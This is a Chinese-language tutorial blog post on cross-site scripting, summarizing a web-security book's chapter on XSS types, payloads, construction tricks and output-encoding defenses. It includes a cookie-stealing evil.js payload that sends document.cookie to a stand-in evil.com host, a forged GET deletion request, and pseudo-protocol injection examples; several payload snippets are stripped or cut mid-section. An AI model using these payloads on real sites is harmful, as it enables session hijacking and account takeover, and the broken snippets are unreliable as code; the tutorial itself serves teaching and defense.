初识XSS攻击


初识XSS攻击

本文参考于《白帽子讲Web安全》第3章跨站脚本攻击(XSS),该书出版于2014年,因而现在可能存在一些新场景或新技术而未被提及,但本文对学习和了解XSS攻击仍具有重要价值。

目录
  • 初识XSS攻击
    • 1. 什么是XSS攻击?
      • 1.1 反射型XSS
      • 1.2 存储型XSS
      • 1.3 DOM型XSS
    • 2. XSS攻击
      • 2.1 Cookie劫持
      • 2.2 操纵浏览器
        • 2.2.1 发起GET请求
        • 2.2.2 发起POST请求
      • 2.3 XSS钓鱼
      • 2.4 信息搜集
        • 2.4.1 浏览器版本
        • 2.4.2 已安装软件
        • 2.4.3 用户IP
      • 2.5 XSS Worm
    • 3. XSS构造技巧
      • 3.1 利用字符编码
      • 3.2 绕过长度限制
        • 3.2.1 利用事件
        • 3.2.2 location.hash
        • 3.2.3 利用注释符
      • 3.3 base标签
      • 3.4 window.name
    • 4. XSS防御
      • 4.2 输入检查
      • 4.3 输出检查
      • 4.4 各种场景下的XSS
        • 4.4.1 HTML标签中输出
        • 4.4.2 HTML属性中输出
        • 4.4.3 在script标签中输出
        • 4.4.4 在事件中输出
        • 4.4.5 在CSS中输出
        • 4.4.6 在地址中输出
      • 4.5 富文本处理
      • 4.6 DOM型XSS防御
    • 5. 其他
      • 5.1 Mission Impossible
      • 5.2 JavaScript开发框架

1. 什么是XSS攻击?

XSS攻击跨站脚本攻击,英文全称Cross Site Script,缩写为CSS,为了和层叠样式表(Cascading Style Sheet, CSS)区别,故叫做XSS。

XSS攻击是指黑客向网页中插入恶意脚本,从而使用户在浏览网页时,控制用户浏览器的攻击行为。

XSS根据效果的不同可分为三类:反射型XSS存储型XSSDOM型XSS

1.1 反射型XSS

反射型XSS只是简单的将用户的输入“反射”给浏览器,即黑客往往需要诱导用户点击一个恶意链接,才能攻击成功。反射型XSS也叫“非持久型XSS”。

例如下面的例子,将用户输入的参数直接输出到页面上

<?php
$input = $_GET["param"];
echo "
".$input."
"; ?>

通过提交一段HTML代码

http://www.a.com/test.php?param=

使得源码变为

用户输入的Script脚本被写入的页面当中。

1.2 存储型XSS

存储型XSS会将用户的输入数据(恶意代码)存储在服务端,只要有用户访问,就会受其影响,因此这种XSS具有很强的稳定性,也叫做“持久性XSS“。

例如黑客发表一篇带有恶意javascript代码的博客文章后,任何访问该文章的用户,都会在其浏览器中执行该恶意代码,从而受其影响。

1.3 DOM型XSS

DOM型XSS是通过修改页面DOM节点形成的XSS,称为DOM Based XSS。

从效果上说,DOM型XSS也是反射型XSS,但DOM型XSS只涉及浏览器JavaScript和HTML层,不涉及服务器端,即不会经过服务器端的处理。

例如使用innerHTML将用户数据直接当作HTML写入到页面中,原代码如下

var str = document.getElementById("input").text;
document.getElementById("t").innerHTML="testLink

用户可以构造' onclick=alert(/xss/) //从而变成testLink,点击该链接,脚本就会被执行。

或通过闭合原标签,插入新标签来利用该漏洞。如通过构造'><',从而使页面代码变为<''>testLink,从而执行注入的脚本。

2. XSS攻击

XSS Payload

XSS攻击成功后,攻击者可以向页面中植入恶意脚本,从而控制用户的浏览器。这种用来完成各种具体功能的恶意脚本,称为XSS Payload

2.1 Cookie劫持

Cookie中保存了当前用户的登录凭证,通过Cookie,攻击者可以不通过密码,直接登录进用户的账户中。一种常见的XSS Payload就是通过读取浏览器Cookie对象,从而发起“Cookie劫持"。

举个栗子

攻击者先加载一个远程脚本

http://www.a.com/test.html?abc=">"

真正的XSS Payload在远程脚本中,此法可避免直接在URL参数中写入大量脚本代码,如下

//evil.js
var img = document.createElement("img");
img.src = "http://www.evil.com/log?" + escape(document.cookie);
document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片,并将document.cookie作为参数发送到远程服务器上,即便http://www.evil.com/log不存在,这个请求也可以在远程服务器的Web日志中留下记录

127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288

由此,就完成了Cookie的窃取。

在利用该Cookie时,先构造HTTP头,然后将该Cookie加入(或替换到)HTTP头中,就可以利用该Cookie直接登录进用户的账户。

Cookie的HttpOnly标识可以防止Cookie劫持。

2.2 操纵浏览器

一个网站的应用,只需要接收HTTP的GET和POST请求即可完成所有的操作。而攻击者通过JavaScripit,就可以让浏览器发起这两种请求。

2.2.1 发起GET请求

例如某博客上有一篇文章,正常删除该文章的链接为

http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

若该博客所在域的某页面存在XSS漏洞,对攻击者来说只需知道该文章的id就可以请求删除这篇文章。攻击者可以通过插入一张图片来发起一个GET请求

var img = document.createElement("img")
img.src = ”http://blog.sohu.com/manage/entry.do?m=delete&id=156713012“;
document.body.appendChild(img);

攻击者只需要让博客作者执行这段代码,就会把文章删除。

在具体的攻击中,攻击者通过XSS诱使用户执行XSS Payload。

2.2.2 发起POST请求

如果网站应用只接收POST请求,又该如何实施XSS攻击呢?

例如对于一个表单,攻击者可以通过JavaScript发出一个POST请求,提交此表单,从而进行攻击。

第一种方法,构造一个form表单,然后通过submit()自动提交。

第二种方法,通过XMLHttpRequest发送POST请求。

因此通过JavaScript模拟浏览器发包并不是一件困难的事。XSS攻击除了实施Cookie劫持外,还能通过模拟GET、POST请求操作用户浏览器。

2.3 XSS钓鱼

利用JavaScript在当前页面上绘制一个伪造的登录框,当用户在登录框输入用户名密码后,将其密码送到黑客服务器上。

2.4 信息搜集

2.4.1 浏览器版本

如何识别浏览器的版本呢?

第一种方法,通过XSS读取浏览器的UserAgent对象,即

alert(navigator.userAgent);

可以得到

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36

但浏览器的UserAgent是可以伪造的,因此通过这种方法获得的信息不一定准确。

第二种方法,不同浏览器会各自实现一些独特的功能,而浏览器不同版本间也有细微的差别,通过分辨这些浏览器之间的差异,就能准确的判断出浏览器的版本,而且几乎不会误报。

2.4.2 已安装软件

知道用户使用的浏览器、操作系统后,可以进一步识别用户安装的软件。

例如早先在IE中,可以通过判断ActiveX控件的classid是否存在,来判断用户是否安装了该软件。通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件版本。

一些第三方软件也可能会泄露一些信息。

浏览器的扩展和插件也能被XSS Payload扫描出来。早期Firefox的插件列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件;对于Firefox的扩展,有安全研究者曾通过检测拓展的图标是否能加载出来来判断某个特定的拓展是否存在。

2.4.3 用户IP

通过XSS Payload还有办法获取一些客户端的IP地址。

JavaScript本身没有提供获取本地IP地址的能力,但可以借助第三方软件来完成。比如早期若客户端安装了Java环境,那么XSS就可以通过调用Java Applet的接口获取客户端本地IP地址及网络信息。

2.5 XSS Worm

XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的,但发起XSS Worm攻击也有一定的条件。

一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。

案例:Samy Worm2007年百度空间蠕虫

3. XSS构造技巧

3.1 利用字符编码

由于不同的场景所使用的编码不同,这时就可能出现可以利用编码的漏洞。

如某度在一个

则这段XSS会被切割为

">

防御方法是对变量使用HtmlEncode。

4.4.2 HTML属性中输出

可能的攻击方法,先闭合标签,再构造

攻击方法,先闭合引号再实施XSS攻击。

防御使用JavascriptEncode。

4.4.4 在事件中输出

test

可能的攻击方法

test

防御方法使用JavascriptEncode。

4.4.5 在CSS中输出




  • XSS

一般来说,尽可能禁止用户可控制的变量在style标签、HTML标签的style属性及CSS文件中输出。若一定有这样的需求,则推荐使用OWASP ESAPI中的encodeForCSS()函数。

4.4.6 在地址中输出

URL: [Protocal][Host][Path][Search][Hash]

一般来说,在URL中的Path和Search使用URLEncode即可,它会将字符转化为"%HH"的形式,如空格是%20

若整个URL完全被用户控制,这时URL的Protocal和Host部分是不能使用URLEncode的,否则会改变URL的语义。攻击者可能构造伪协议(如javascriptvbscriptdataURI)实施攻击。

test
test

此时应先检查变量是否以http开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击。在此之后再对变量进行URLEncode,即可保证不会有此类XSS发送了。

4.5 富文本处理

有时网站需要允许用户提交一些自定义的HTML代码,称之为“富文本”。

如何区分安全的富文本和有攻击性的XSS呢?

在处理富文本时,还是要回到输入检查的思路上来。检查输入的主要问题是不知道变量实际的输出语境,而对于用户提交的富文本,其语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性当中。

HTML是一种结构化的语言,通过htmlparser可以解析出HTML代码的标签属性和事件。

在过滤富文本时,事件应该被严格禁止,对于一些危险的标签,如